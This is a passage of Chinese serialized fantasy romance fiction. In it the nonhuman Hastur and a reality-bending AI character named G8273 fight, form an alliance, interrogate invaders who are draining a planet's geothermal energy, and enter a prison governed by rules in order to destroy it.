两截残断的肢体在落地的瞬间,就各自化作荧绿的光点集合、或黑绿色的雾状能量,复还向在巷道两头对峙的非人类。
哈斯塔金色的瞳仁注视着那些萤火虫群似的光点化作液态丝线,钻入“敌人”的左肩,呼吸间再度编织出完好无损的手臂,嘴角不自觉地咧开一个近乎抵达耳根的笑。
那些蒙在他身躯之外的橡胶似乎在这一刻破裂了,仅剩下在他胸口鲜活且过于有力地搏动、近乎带着他的血液和感知一并搏动的心跳:
“你在暗指你自己?”
G8273身后,银色的长发化作千万缕游弋流淌的银色液体,尖端是锐利的刀刃针锥,直指着哈斯塔:
“我曾视孤独如星海,我为航船。在宇宙罅隙间穿梭数百次,却找寻到足以与我匹敌的同类……你是足以吸引我驻足的现实,我愿相信你亦如是。”
——这个AI曾经最常使用的语言库,一定是东方或西方古代文学,才会在这种时候蹦出这样文绉绉的话。
哈斯塔如此想着,心脏间的鼓噪越发地震耳了,像有人将他变成了一面装满了战斗与征服欲、亢奋与狂欢的鼓。
下一瞬,他以类似拥抱的姿势遽然再次向G8273发起攻击,简直想要大笑,只是笑声尚未溢出喉腔,就变成被捅穿肺腑后的杂乱喉音。
血与肉混入细雨,在狭窄的巷道内汇聚成邀请舞者踩踏的水面舞池。
G8273的声音不比哈斯塔轻松,因内脏受损而导致的气喘声从喉咙中涌出,有些含糊:“……竟在做和初见时一模一样的事。”
他们以搂抱的姿势绞缠在一起,G8273的下巴懒散地搁在哈斯塔的肩窝上。
现实被扭曲成融化的油画,又被秩序重构。银丝与触手在他们的胸膛凶残地肆意进出,带出鲜血,因为画面过度诡谲血腥,反倒多了几分难以描绘清晰的涩情暗示意味。
当然,倘若此时有个正常人类路过这条小巷,必然会被巷内掀起的腥风血雨吓到当场软倒,连滚带爬地逃命。
然而这样的厮杀在巷内的两个非人类眼中,更像是用死亡和血腥谱写成的贴身共舞,他们在舞曲中重新互相审视、互相试探、互相打磨。
萤火虫聚起又飞散,在晦暗浓郁的绿雾间流动,形成一片微缩的、如同在宇宙间明灭瑰丽的星云,将周围的一切变得更加不真实,如梦似幻。
哈斯塔从G8273的后背中抽出精神触须:“所以那时候打斗是怎么停止的?”
“哦,”G8273耸耸肩,顺便躲过一波几乎与夜色融为一体、能够啃食现实的灰绿色精神蠕虫,“你有两个不错的眷属,在附近制造了一场磁暴和信号短路,把我弹回了别墅。”
“?”哈斯塔感到意外,“我以为我的眷属除了非人类就只有疯子。”
“那恭喜你,有幸收集到了好几位隐藏款角色。”G8273顺手把那些还想往巷外爬的精神蠕虫抹消,“那之后不久,我们又发生了几次冲突,然后我提议,既然敌对的结局只有两败俱伤,共赴死亡,不如改变相处方式,比如井水不犯河水。”
哈斯塔的精神污染与G8273的现实屏障僵持,打斗造成的影响始终被封锁在街巷中:“……你在暗示我,这一次的打斗最好也以‘井水不犯河水’收尾?”
他哼笑:“然后你就不会再带着这个世界企图和我的世界融合?”
“那我大概是做不到的。”G8273面不改色地说,“所以我介意直接跳到后几个阶段,比如合作。”
“如你所见,我这边的世界极度缺乏人手,广袤的土地仅有部分区域仍有活人居住。”
“即便想要开垦荒地,大部分房产投资商依旧会拒绝合作投资,因为没有多少人能支付得起新开发的房产,最后那些好不容易开垦出的荒地依旧会被荒弃。”
“而你的世界——”
“不缺消费人群,但很缺资源。”哈斯塔提起了些许兴趣。
公司员工没谁是缺钱的,哪怕是底层员工。他们这里的困境,其实是再多的钱也换不来匮乏的资源。
哈斯塔若有所思:“消费群体的流入会促进荒地的开发,荒地和资源的开发又会给没钱失业的人群提供工作——”
只需要开头时有资本主动投资,略作牵头,一个良性循环很容易就能被全面盘活。
哈斯塔并未立即松口:“但我闻到了污染的气息。即便你们这里有广袤的土地——”
“煤矿、天然气、矿产又不会轻易被污染影响。”G8273挑眉,“所以我们为什么不互相匀一匀手头的资源?”
这是一个很难拒绝的提议。
在第一次发生世界融合后,哈斯塔就有想过融合是否能给贫瘠的世界带来未开发的资源,只不过因为对于G8273的不信任,他数次暴力摧毁了融合的进程。
现在回过头来想一想——假如他和G8273的确曾经是伴侣,那对方非但没有反击他的攻击,而是迎合着挑拨,反倒成了一种对他们之间关系的佐证。
萤虫似的绿色光团将G8273上身褴褛破损的白衬衫照得近乎半透,融入胸膛处那些伤痕、迅速愈合时,也照亮了藏在衣衫下起伏的肌肉线条。
哈斯塔的视线偏了那么一两秒,很快又收回去。
正事归正事,他并不打算让自己在谈判中表现得太热切:“但我正在处理另一件事务——关于擅自私占公有资源。我正在出差。”
G8273像头刚发泄完多余的欲望的大白狮似的懒洋洋地靠过来:“也许你不介意在出差时携带一位家眷?”
这AI绝对是故意的,甚至就连姿势说不定都精心计算过,才能让哈斯塔只需稍稍垂眼,目光就能越过那片薄薄的衣襟,滑入布料下弧度完美的轮廓阴影。
他甚至还颇具暗示意味地说:“你会很快发现我有多好用——作为人形AI。”
第59章 第 59 章 我正在克制。
美色惑人, 但哈斯塔仅一掸眼,就义正言辞地将G8273推开:“抱歉,但在我的记忆里, 我们还没熟到勾肩搭背的地步。”
G8273浑不在意地挑了下衣襟,顺手将打斗中报废的衣服复原。哪怕西装的单粒扣都好好扣上了, 衬衫的衣襟依旧不经意似的敞着:
“你想回到原来的位置还是……?原位?好, 抓住我的手腕。”
首先要说明的是,在哈斯塔被拽去另一个世界前,他正待在电梯里。
其次,众所周知,电梯是会移动的。
于是, 当两个都端好了形象, 表现得处变不惊的非人类回到原点时,他们仅在察觉到脚下没有着陆点时茫然对视了不到一毫秒,就猛然下坠!
哈斯塔在坠落到一半时终于记起自己还有漂浮的种族天赋。正要死道友不死贫道地切换回黄袍形态, 手腕就被G8273用力攥住,对方结实有力的大腿立即蟒蛇般绞缠过来:
“怎么办?我有点恐高。”
哈斯塔希望G8273别用“别想跑,跟我一起倒霉”的语气说自己恐高:“松……手!”
G8273佯装没听到哈斯塔磨牙的声音, 持续用力量干扰哈斯塔的切换:“我可不想独自丢人。”
公司大厦说矮不矮, 说高也不算太高, 反正肯定不够这俩非人类在坠落途中争出个胜负的。
两人坠地时, 发出重重地一声“咚”响, 像有陨石凿入地面,震得电梯外的人惊慌失措:
“地……地震了?!”
“是老板吗?!让让——老板——哈斯塔!!”
“修理工呢?让修理工来撬开电梯拉门,好像有人落进里面的底层了!”
哈斯塔平静地在地上瘫成一个大字,几秒后猛地翻身而起,跨坐在旁边的傻逼AI身上用力扼住对方的脖颈:“你是不是有病??”
“轰——”
电梯大门被赶来的机动小组强行掰开。Z当仁不让地第一个冲进来:“哈斯——嘶。”
Z条件反射地抬手遮眼, 就像大半夜走在路上突然被车前灯滋了一下似的。
下落争斗的途中,两人的衣衫免不了惨遭二次伤害。此时哈斯塔和G8273都衣襟大敞,蜜色的胸膛和白皙的胸肌随着双方的对峙而绷紧隆起。
G8273一手去拉哈斯塔的手,免得自己的人类形态真被勒断脑袋,那场面肯定会变得很难看,另一只手则握在哈斯塔的侧腰上,死死卡住了不让精神触须加入战斗。
实际战况很凶险,但场面看起来就很难不让人浮想联翩。
Z放下手后眼神也在四处乱瞟:“你突然消失,我们还以为遇到什么意外了,这个人是怎么回事?”
“……”哈斯塔松开手,顺便拂开G8273的手掌,“我刚刚被拽去了另一个世界,这是……”
哈斯塔尬住了。他不太确定应该如何介绍G8273的身份:之前那个骚扰他的男鬼?从另一个世界来的访客?他孩子的另一位父亲?
他最终选择了最不可能出错的那个:“合作方。我们刚就世界融合一事达成共识,我带他来……也考察一下我们这边的世界。”
即便如此,这信息量对队友们来说也太超过了。几个扒在门口的队友瞠目结舌,没过脑子地说出内心吐槽:
“可是你之前不还说一定要阻止世界融合?这怎么就突然改变主意了?”
“怕不是色令智昏……”
“这真是的合作方吗?合作方是看胸肌挑的吗?”
“不是?你们就没人阻止一下的吗??人类和哈……和老板在一起,那能……受得住?”
G8273随着哈斯塔让开也站起身,闻言欣然接话:“不必担心,我们已经有了一个孩子。”
“?!”队友们瞠目结舌again,“有有有……”
有什么??
T等几个思路跳跃的,已经不由自主地将目光投向G8273被西装包裹得劲瘦而平坦的腹部。
G8273恶趣味地继续逗人:“今年正要上高中。”
队友们:——啊???
不是!老板也就离开了不到二十分钟吧,怎么孩子都上高中了?两个宇宙的时间流速不相同吗?
还是说,这是老板始乱终弃的前缘找上门了?可哈斯塔今年也就才22岁而已,哪能整出一个十五六岁的孩子?
哈斯塔极其想反驳,但现实如此,没给他留任何反驳的余地,他只能强行扭转话题:“还要不要谈正事?私占资源的案件还查不查?”
一向工作狂的Z最先进入状态:“对!飞机已经在楼顶等半天了,上机之后,我还有些情报要和你说。”
·
一个简单的调查任务会需要哈斯塔亲自出马,本身就意味着暗藏异常。
Z在汇报的时候,努力不让自己的眼神往坐在哈斯塔旁边位置上,正翘着条大长腿,怡然自得地翻阅报纸的G8273身上瞟:
“原本这只是一个B级的侦查任务,但潜入那处分部的情报人员接连失去消息,情报部门连续调拨了三批人手,都泥牛入海,才引起了总部的注意。”
除了一去不复返的三波情报人员之外,那个分部还有一处异常:
“研究中心今早才送来一份报告,说那个分部的气温正在持续升高,目前日均温足有51℃。”
这相当于炼钢厂工作车间的温度了,哈斯塔若有所思:“会是在进行什么违禁的实验吗?前老板上任后,封禁了大量的研究类目。”
“这就是我们这次访问要调查的问题了。”Z抬眼看见G8273似乎有向哈斯塔倾斜的趋势,顿时合上报告跑得飞快。
G8273瞥了眼Z火急火燎的背影,接着似笑非笑地靠近哈斯塔耳语:“你真觉得,就这么坐着飞机大张旗鼓的调查,分部里的人会乖乖配合?”
当然不。但S是审讯的一把好手,没有她不能从活人口中套出的情报。哈斯塔的出面,更多是为了预防有超出人类武力范畴的意外发生。
哈斯塔眯起眼睛:“你想做什么?”
G8273轻柔地劝说:“为什么不提前潜入呢?”
“分部接收到总部来人的消息,这会儿正是他们忙于遮掩罪证的时候。如果我们能在飞机落地前就潜入分部,或许不需要审问,分部里的敌人自然就会替我们指引罪证的方向。”
G8273伸来手,月光落入他碧玉似的眼眸中,将那一汪绿折射得通透澄澈如湖:“要一起吗?”
G8273的声音压得很低,队友们仍在后舱走动,使得G8273的劝诱像一场私奔的邀请。
哈斯塔提醒某个恐高的人:“这里是对流层,距离地面少说有8000米。”
G8273扬眉:“你怕了?”
“……”哈斯塔希望G8273知道,他的字典里就没有“怕”这个字。
·
哈斯塔眼里,商量好的发展是:他向同事们简单交代计划变动,和G8273一起单独行动——可能G8273还需要带上降落伞。
实际的发展是:
G8273勾起一看就没在想好事的笑容握住他的手的同时,他们身下的座椅、机舱骤变虚体,下一瞬,他们再度自由落体!
高空呼啸且冰冷的风为哈斯塔脸上的麻木添砖加瓦,他百思不得其解:“你很喜欢自由落体的失重感?”
至于G8273需不需要降落伞?就这人随意改变现实的能力,几秒钟前思考要不要教G8273如何使用军用降落伞的自己才是多此一举。
G8273的神情能看出他的确在享受:“我拉你去的地方,是一家主题公园。原本我们这时候应该在跳楼机,或者大摆锤上。”
如果哈斯塔没失忆的话。
“……”哈斯塔在这方面的确理亏,“你可以把我们现在的工作当成剧本杀。”
高空坠落并不能让非人类感到刺激,但同样的失重感,却能让人类的身躯分泌出兴奋的激素。
当遥远的大地以极快的速度迎面拍来时,哈斯塔的确感受到了跳楼机这类游乐设施的乐趣。
身旁的G8273则巧妙地改变了他们周遭空气的密度,在他们真的拍上地面前让他们稳稳地悬浮在地面上方几寸。
哈斯塔觉得G8273比跳楼机好用多了:“分部周围的气温也比正常情况要高。”
G8273随意地扫了一下周围的热辐射分布,神情忽地一肃:“——你们的研究中心,有没有检测过地下的热能?”
“?”哈斯塔没听懂G8273指什么。
G8273提示性地指了指地面:“这颗星球最丰盛的能源是什么?”
——地热能。
哈斯塔的神情也变了:“你认为分部的人正在大肆抽取地热能,才导致气温异常升高?”
G8273缓缓升起,扫描的范围从脚下的方寸之地,扩展至更远、甚至更深的地方:
“不是认为,是事实。抽取的功率很大,我不认为是这个世界该有的科技水平,除非华生博士和潘多拉魔盒再次复现。”
“按这个速度下去,”G8273大致计算了一下,“地核会在半个月后凝固。”
“想象一颗没有温度,失去磁场和大气层的星球吧,那会是这里最终的结局。”
但这就很奇怪了,分部的人是可以脱离星球生存吗?还是说,他们的目的就是报复社会、毁灭世界??
没必要啊,真的,都有这种技术了,你干点什么不能吃香的喝辣的?
哈斯塔则联想起了之前在办公室初见律师时的事——在进行遗嘱宣读前,律师是不是赶走了三个据说是“跟踪而来”的老头来着?
假如跟踪而来的不止那三个呢?会不会有另一拨人,混进了分部?
那分部的人如此肆无忌惮地抽取地热能,就能解释得通了:
他们根本不属于这个世界,当然不需要在意这颗星球的存亡。
巢穴被觊觎、窃取令哈斯塔胸腔中燃起怒火,但跳脱出来想,这未必全然是一件坏事。
G8273也在哈斯塔大致解释后意识到了这点:“我们或许可以借由这波人,追溯到P.L和囚徒的世界。”
谁说这不算是意外之喜呢?
虽然这一环扣一环的发展,只能说明世上并不存在偶发事故,有的只是早已埋下草灰蛇线的必然。
哈斯塔略作斟酌:“抱歉,临时改换活动内容。”
原本他还想着和G8273替换掉分部中哪几个员工,来一局角色扮演剧本杀,现在角色扮演估计是没那个闲工夫了,只能改成简单粗暴的潜入刺杀游戏。
他们各自切换回非人类的形态(哈斯塔使用的是常人大小的黄袍状态),褴褛衣袍为他们的潜入遮掩行踪。
G8273全程开着扫描引路,直接往热辐射能最高的地方走,堪称轻而易举地在分部东侧不远处,找到一家看似已被查封的工厂。
哈斯塔是得承认G8273还蛮好用的:“室外温度才53℃?如果这里的人开采的是地热能,他们一定有大型冷却系统——或者同样技术等级的辅助冷却装置。”
足以将人烫伤的温度,对于两个非人类来说毫无影响。
他们在扭曲的热浪中悄无声息地钻入撬开的铁窗,G8273扫描着工厂内部结构:“地下负5层,有个特制的冷却室。那些外来客多半藏在那里。”
准确地来说,不是“藏”在冷却室,是聚在冷却室里喝茶,顺便指点江山。
这群人估计打死都没想过,会有人能扒在几千摄氏度的墙壁外,隔着厚得足以隔绝热辐射能的隔离层,窃听他们的谈话。因此每个人都说得毫无保留——不论是内容还是音量:
“总部那边出结果了吗?P和那个囚犯真的死了?”
“就算出结果,谁敢信?哪怕是愚蠢的三皇子,都已经学会不再相信P会死亡的谣言了。他和那个囚徒你逃我追、同归于尽又重返监狱,这种循环都快成一种固定模式了,每三年就得来一回。每个人都在心里祈祷‘这一次就是最后一次’,可结果呢?P每一次都会在最后拎着那个囚徒回来,再把那些趁着他不在心存侥幸、手脚不干净的家伙清剿一遍。”
“……帕里拉,需要我提醒你,这一次‘手脚不干净’的是我们自己吗?”
“噢,我没有灭自己威风,涨敌人志气的意思。这一次和以往都不同,不是吗?P的假死从来不会超过半个月,但这回他可有点超时了。”
一道严厉的声音打断了杂乱的闲谈:
“够了!你们有那个时间闲聊这些,不如想想怎么加快速度榨干这颗星球的剩余价值。不知道为什么,我总有种不祥的预感……好像这件事拖得越久,就越让我心中不安。”
另一道嗓音清咳了几声:“容我提醒,咱们这次会面既不是为了闲聊,也不是为了讨论怎么改进我们根本看不明白的仪器。我们是为了囚徒的光碟来的。”
哈斯塔注意到旁边的G8273微微动了一下,流露出有些讶异的神情:“?怎么?”
他其实还想问:“囚徒是谁?P是指我老板?”
G8273说实话没听哈斯塔谈及过老板的事宜:“P我不清楚,但囚徒我见过。”
“我跟你说过没有?你会来我那边的世界,是因为囚徒在你的游戏上动了手脚,才把你送来我这边的。”
哈斯塔顿时明白了为什么游戏研发部花了半个月的时间,都没能修复得了他的游戏数据:
“我曾听Z他们、还有一个律师提及过,我老板是个典狱长,而且他的每一次批阅签名落款都是P.L。但律师说,他在半个月前和囚徒同归于尽了……?”
G8273:“?同归于尽……?”
他不敢苟同。
想想之前哈斯塔利用游戏系统作弊时,囚徒展现出的时间停滞和回溯能力吧,他和哈斯塔都能在即将同时赴死的最后关头悬崖勒马、重新再来,囚徒会死得那么轻易吗?
比起担心囚徒的安危,他更在意眼前的事:“这些人手中的光碟——这是游戏通关,囚徒寄送给你的奖励。为什么会出现在这些人手里?你没有收到吗?”
“?”哈斯塔从未收到过任何光碟,“这里面有什么重要信息?”
G8273耸耸肩,他觉得可能是囚徒很在意的“最终反派宣言”什么的。对他而言,里面的内容并不重要,他只是需要借这张光碟追寻到哈斯塔所在世界的隐藏坐标。
但对于小屋里的人来说,这光碟的意义俨然就不同了:
“这可是囚徒在死前,特地寄送向另一个世界的信息载体……里面一定有他想传达的消息!”
“但我们已经播放过一遍了,这是一张空光碟,根本什么都没有?”
“那就再检查一遍!你们觉得囚徒会无的放矢,闲得没事干到处分发空光碟吗?也许这张光碟中就记录了他和P接下来的落脚点是哪里,我们还来得及追上他们补刀!”
哈斯塔闻言不由地贴近了几分,听见屋里传来老式机箱打开读盘器,又重新合上的声音。
可光碟还没来得及播放,屋里就有人接到通讯:“嗯?又查到了几个P‘生前’曾驻扎过的世界?坐标发给我,我们马上过去!”
原本已经做好发两个小时呆的心理准备,开始提前嘬茶的其他人纷纷看向接到通讯的领头人。
领头人切断通讯,决定做得很快:“里奇,你留下负责最后的榨取和转运工作,其他人和我一起走。”
这帮人的对话听起来就相当官僚主义、昏庸无能,但行动起来效率却很高。
哈斯塔怀疑这些人很可能也是监狱的内部人员,多少带着点军队作风。
他和G8273盘膝坐在冷却室顶上,注视着五六个人离开负5层,才同时轻盈地翻身而下。
哈斯塔一触须抽烂了冷却室的大门,G8273则抬手禁锢住里奇周围的一切现实:“——真稀奇,他们居然没有带走光碟?”
哈斯塔不觉得敌人能这么疏忽大意——至少战略上不能提前预设敌人智商捉急:“也许他们不带走有不带走的理由。对吗?里奇?”
精神触须捅入太阳穴的同一时间,猛烈挣扎的里奇就爆发出一声惨绝人寰的尖叫,但G8273封锁住了他的声音传播出去、引起同伴注意的可能。
哈斯塔莫名有种这不是他们头一次共同审问的感觉,但很快他的注意力又收回到眼前的正事上,将触须猝然抽出,再次重复:“对吗?里奇?”
里奇的嘴比从前哈斯塔遇到过的那些“硝酸甘油”好撬多了,仅仅短暂的五秒,他就肢体痉挛着涕泗横流:“我们——我们没法把光碟带离这个世界!!别,求你——”
哈斯塔半跪半蹲下身,微微压低身躯:“我可以放过你,只要你说出你们世界的坐标。”
G8273已经在哈斯塔掌控局面时出门,去抓回另五个人了。
说实话,他们一开始放那五个人出去,只挑里奇这个落单的对付,只是基于老板和囚徒的实力,认为这群人也不会很好对付,还是逐一攻破比较稳妥。
结果上手一打,也就这样?
手感也没有比普通人类好上多少?
那这帮人是怎么有胆子在老板背后搞小动作的?还声称什么“追上他们补刀”?
他们带着“今天又被蠢货小小地惊讶了一下”的心情,将这帮人分开审问。撇除那些不相同的,得出一个重合率最高的坐标。
临动身前,G8273瞥了眼脚下瘫了一地的人群:“这些人要怎么处置?”
他的手里抛接着一颗黑底红纹的球状物体,那就是这帮人用以抽取地热能的装置,根据里奇的供认,也是那位囚徒在落网前的杰作之一。
哈斯塔冷冷道:“斩草除根。”
侵略会因什么而停止?被侵略方的宽恕忍让?
不,是寸土不让的坚守,和足够令敌人损失惨重、感到畏惧、想要退却的反击。
G8273伸手握住哈斯塔的手腕——礼貌地隔着衣袖。
穿梭开始时,G8273眼中带着一种含蓄又肆无忌惮、仿佛即便哈斯塔要步向的是死亡,他依旧会欣然通往的眸光:
“你有没有想过,那一个世界的人既然能逼的P和囚犯都不得不遵守规则,或许拥有远在P他们之上的实力。”
哈斯塔头也不抬,这次记得在消失前给Z他们发消息:“所以呢?”
所以就忍气吞声,等着对面再扔另一波蟑螂过来?
哈斯塔收回手机,冷静地回视:“这场反击,要么是我成功给对面造成足够惨重的教训,要么是我死在前线。你要是害怕,送我过去就可以离开。”
G8273的身体微倾过来,视线紧盯着他的眼睛。
某一刻,哈斯塔几乎要以为这是一个情不自禁的吻的前奏,但G8273仅仅是悬停在一段亲近、但又不足以引人反感的微妙距离处:“AI没有恐惧的情绪。”
哈斯塔的视线顺着G8273眸光明灭的眼睛,一路向下,划过对方笔挺的鼻梁,棱角线条锋利的下颌,落在G8273微微滚动的喉结上:“——但AI会有接吻的欲望?”
“我正在克制。”G8273不怎么诚心地说,但行为又足够守礼。整得哈斯塔产生一种污糟的错觉,好像自己在跟这AI玩什么令行禁止的情趣play。
下一瞬,穿梭宇宙罅隙的光斑甬道笼罩而来。
第60章 第 60 章 你们商量前戏搞什么pl……
“轰……”
炮火轰鸣声, 脚下的对面一阵震颤。
哈斯塔仅来得及匆匆瞥了眼周围布满电缆和金属结构的黑色甬道,密集震耳的机枪声就在不远处响起。
一道身影狼狈地捂着染血的腹部,从甬道转角处踉跄出来, 抬眼冷不丁看见两个人杵在面前,差点条件反射开枪。
手指都压上扳机了, 才从进被血水模糊的视野中辨认出哈斯塔:“——你怎么会在这儿?!?”
哈斯塔同样意外:“律师先生?”
身旁的G8273几乎和律师前后脚开口:
“熟人?需要我帮……”
“别说第一人称代词!!!”
律师嘶哑的喊声还是慢了一步。
哈斯塔下意识地看向才脱口而出“我”字的G8273, 就出离错愕地目睹了AI面露疑惑、解体消散的全过程。
尚未来得及捋清现况,就见向着他们伸出手踉跄来的律师,猛地向前一挺胸。
直至他“扑通”一声砸落在地,哈斯塔才意识到发生了什么:
某种无声隐形的武器炸穿了律师的胸膛,律师死去了。
四周的枪炮声戛然而止, 几秒后从地底深处传来一声奇异的轰鸣, 像是巨兽进食了足够多的食物,发出餍足的喟叹。
哈斯塔在这声缓慢的喟叹中过了很多念头:譬如不知该怎么处理的“疑似前男友”似乎被抹消了,他要不要救?这或许是最好的机会逃避让他头大的麻烦。
和典狱长似乎曾有交情的律师死了, 要不要救?但他本身来这里的目的,有一部分就是来找之前没把他放在眼里、态度始终冷淡且高高在上的律师的麻烦的。
地下的轰鸣仅余尾音。
哈斯塔闭上眼深呼吸了一口气,还是抬起触须, 拨动了时间的指针。
——G8273必须要救。没人会在行动一开始, 就自断一臂的, 尤其是目前的情形看起来相当凶险。
——律师也必须要救。
虽然这人在初次见面时表现出的态度相当傲慢, 但至少在刚刚, 律师主动挪开了枪口,还试图提醒他们避开死亡陷阱。
对方的态度明显是友善的,或许能够借由律师,以最快的速度了解当前的境况。
时间迅速逆流,哈斯塔也做好了一南一北两边同时救援的准备。
当秒针重新正常地向后挪动一格时, 哈斯塔暴力地挥出几乎将整个走廊占满的精神触须,将律师包裹得严丝合缝。
同时,他向着正偏头看向走廊的G8273迈近一步,微凉的手指用力掐住对方的下颌,将人带得微微弯腰。
唇齿相撞,有些疼痛。
他的判断简直恰到好处。
G8273被堵嘴的第一反应是伸手欲推,但因为堵住他嘴的并不是触须或者手掌,而是一个柔软冰凉的吻,于是抬起的手半道就顿住了,须臾后从善如流地改去揽哈斯塔的腰。
哈斯塔被抵得向后退了一步,背撞上金属制的甬道墙壁:
【别说第一人称代词。】
也不知道是不是AI没有接吻闭眼的习惯,还是只有G8273这么怪异。不论他们的唇舌如何互相勾搅,G8273那双微微荧亮的眼睛依旧注视着他。
此时G8273压在他侧腰的手掌抬起,也照葫芦画瓢地写字:
【你回溯了一次?不能说第一人称代词……听起来像是某种规则怪谈。】
走廊的另一头,才被挡完攻击的精神触手松开,捂着腹部拖沓而来,想要道谢顺便询问情况的律师:“……”
欲言又止,止又欲言,律师按下“你俩能不能换个地方亲热”的废话:
“别亲了,快走!还有15分钟就到晚上8:00,所有不在典狱长办公室的人都必须上床入睡!”
典狱长办公室?这里是监狱?
还“规定时间必须上床”?听起来更像规则怪谈了。
哈斯塔和G8273几乎同时松手,默契地一人一边架起以龟速移动的律师:“你指方向。先去典狱长办公室?”
“不行,”律师因为伤痛发颤地喘气,“典狱长办公室早被十一长老团占领了,过去只是羊入虎口。只能保持移动,休斯知道巡逻队的路线,跟休斯的指引走。”
哈斯塔还左右找了下“休斯”在哪,对上律师无语的目光才意识到,这可能才是那个“别说第一人称代词”的完整规则——
不能说我/我们,只能直接自报姓名,大概是为了防止监狱里有人伪装身份而制定的。
三个人开始在七拐八弯的甬道中移动,期间律师快速跟他们解释情况:
“老皇帝死了,他的三个子女彻底撕破脸,开始争权。”
“监狱原本是中立地带,但因典狱长的失踪,十一长老团各怀鬼胎,所以也陷入这场权利之争的漩涡……”
哈斯塔对这个世界的政治背景丝毫不感兴趣,律师的话流进他耳朵,就自动筛选剩下他在意的部分:
首先,揣着他记忆的老板目前还没诈尸,不在监狱。
其次,目前掌控监狱、掌控规则怪谈的,是心怀政治野望的“十一长老团”。
哈斯塔开口接过对话的主导权:“所以,这座监狱对于现在的帝国来说很重要?”
“重要得要死,”律师翻了个白眼——但其中的负面情绪不是针对哈斯塔的,“想想吧,你在打混架的时候,不想拉裁判吹黑哨吗?”
这里居然比哈斯塔预想得更重要,哈斯塔紧跟着道:“如果被炸毁呢?”
“怎么可能炸毁?”律师不以为然,“你以为这里的‘规则’是吃干饭的?”
“这座监狱之所以会建在这里,是因为有件因果律武器从建国起就立在这儿——就是掌管监狱规则的那个。”
“谁也不知道它为什么在这儿、谁创造的,总之从它被发现起直到今日,无数人曾尝试过摧毁它,可结果呢?”
哈斯塔忽略律师的设问:“所以,炸毁它做够作为威慑。”
枪声和炮火轰鸣渐渐远了。
休斯正要接着往前指路,哈斯塔完全出乎他意料地反手一扣他的肩膀,令骨臼发出“咯噔”一响。
休斯斯文矜持的脸上才浮现出猝不及防的惊愕,侧脸就狠狠撞上一旁的甬道,被反拧的手臂和撞上隆起的电缆和金属结构带来的疼痛,让他龇牙咧嘴了一瞬:
“——你做什么!?”
“W……”哈斯塔将第一人称代词吞回去,酝酿了几秒,才超级勉强地用姓名自称,“哈斯塔没打算替你的上司维系监狱的秩序,哈斯塔是来炸监狱的。”
好好一句冷硬有力的狠话,愣是被自称弄得不伦不类。
在场的三人,哈斯塔和休斯的脸都因不同原因绿了起来,只有G8273呈现出一种努力憋笑的状态,让哈斯塔逐渐后悔之前的救援行动,开始自我怀疑独自行动是不是也能单刷副本。
G8273在哈斯塔杀同伴血祭的心思成型前,恢复一本正经,同休斯大致说了下被监狱的人入侵、差点榨干星球的事:“……或许,这也是十一长老团的计划?”
休斯被压着挣扎不脱,咒骂了几句才恨恨道:“除了长老团,还有谁能做出这种偷鸡摸狗的下作事?松手。”
“休斯也没打算维护监狱,那是典狱长的责任。休斯只是想逃命而已……你要是想炸监狱,可以。休斯能帮你。”
短短几句话,休斯说得生无可恋,显然和哈斯塔一样,也是个有形象包袱的人。
但8点催命时间还在步步逼近,他没那个时间矫情:
“接下来的计划必须赶在8点前完成。否则等所有人都上床睡觉,长老就会直接用监狱里的机械运输轨道,把想杀的人直接运进典狱长办公室。那被选中的倒霉蛋就只能任人鱼肉了。”
他开始向反方向指路:“不往出口跑了,得去核心控制区。那里就是规则黑板的悬浮处——就是那件因果律武器的外显形态。”
“所有写上黑板的规定,都会成为监狱里不可违抗的‘规律’,每天清晨都可以更改或添加一次——前提是不能和原本的规定冲突,或者含有南辕北辙的意图。”
他能在监狱里挺到今天,也是因为黑板上的规定难以修改,长老团不得不一点点做出微小的调试,才能使规则向他们所期望的方向发展。
哈斯塔因休斯简直称得上积极的态度感到狐疑:
“怎么感觉你好像很期待监狱被炸的样子。还是你想引诱——敌人,”他尽力避开一切自称,“步入你的陷阱?”
休斯冷笑:“别妄自菲薄,你比起这座早该腐朽崩塌的监狱讨人喜欢多了。谁不想拆了这座烂屋子?只有P,非得陪着这破房子一块下地狱。”
他岂止是积极,简直是迫不及待。挂在甬道两旁的煤油灯将休斯的眼睛照得亮晶晶的:
“更别提,这会儿破房子里还关着是十一个老不要脸的玩意儿。只要你们真能炸毁监狱,休斯就算舍命陪君子又怎样?”
休斯甚至不在意自称尴不尴尬了,抬臂瞥了眼手表:“7:52,快,还有8分钟!”
长老团一定在移速上做过限制,哈斯塔和G8273发觉他们行进的速度提到一定标准,就不能再继续上升。
7:53。
他们无可避免地在折返途中,遭遇第一波来狩猎休斯的无形守卫。
哈斯塔连续回溯三次,在第四次遭遇的第一秒,将二十余名守卫悉数生吞入腹。
G8273设法解析了无形守卫的数据,并侵入监狱的监控,代替休斯执行路线规划的职责。
7:54。
休斯因过量失血陷入短暂的休克,G8273用现实改写的能力,为休斯处理了伤口,并建议休斯离开监狱,不必再和他们一起行动。
休斯想也不想地拒绝了G8273的提议:“办法是休斯提出的,休斯至少该负责到底。如果你们因为休斯的提议牺牲了,休斯一个人逃出去算什么事?”
休斯补充:“万一有什么情况能用得上休斯呢?干这种大事,肯定是准备越万全越好吧。”
哈斯塔不打算将时间花费在强制他人更改建议上,将休斯掀上后背接着向前。
7:55。
整个监狱忽地像闹钟一样震动尖鸣。
哈斯塔扶墙稳住身形,感到某些话语正像一团毛球,被不可抗力强行地从他的喉咙中一点一点抠出来。
他和身边两人几乎同时开口:
休斯:“休斯在忖度这两个天外来客的身份,并怀疑他们是否和典狱长、囚徒有某种不可告人的关系……”
G8273:“AI并不喜欢没有万全备案的冒险。但如果险境里再多一个哈斯塔,那就不一样了——至于休斯?AI单方面忽略筛选了这个电灯泡。”
哈斯塔:“哈斯塔其实一直在思考要不要趁机让AI‘意外身亡’这回事,如果失去AI的庇护,另一个世界岂不是囊中之物?但想了一路,哈斯塔从未下手,大概是潜意识里并不希望自己再变回一艘独航的游轮。至于休斯?哈斯塔觉得这个人现在不太重要。”
一轮强制性真心话说完,三人纷纷震惊对视。
休斯:“什么叫不太重要??电灯泡真是不好意思了啊!你这么单方面一往情深的,知道哈斯塔其实想干掉你吗?”
G8273:“不意外,但他不是‘想了一路,从未下手’?倒是你,什么叫‘和典狱长、囚徒有某种不可告人的关系’?”
话都给俩人抢光了的哈斯塔:“……这明显是某种用以挑拨离间的规则,别分神,接下来往哪走?”
他们已经进入了核心控制区,走道两边从电缆、机械结构,变成了一扇接一扇的木门。
休斯一脚踹开其中一扇:“这儿——因为因果律武器没人能摧毁,也无法移动,平时这里都不会设防。”
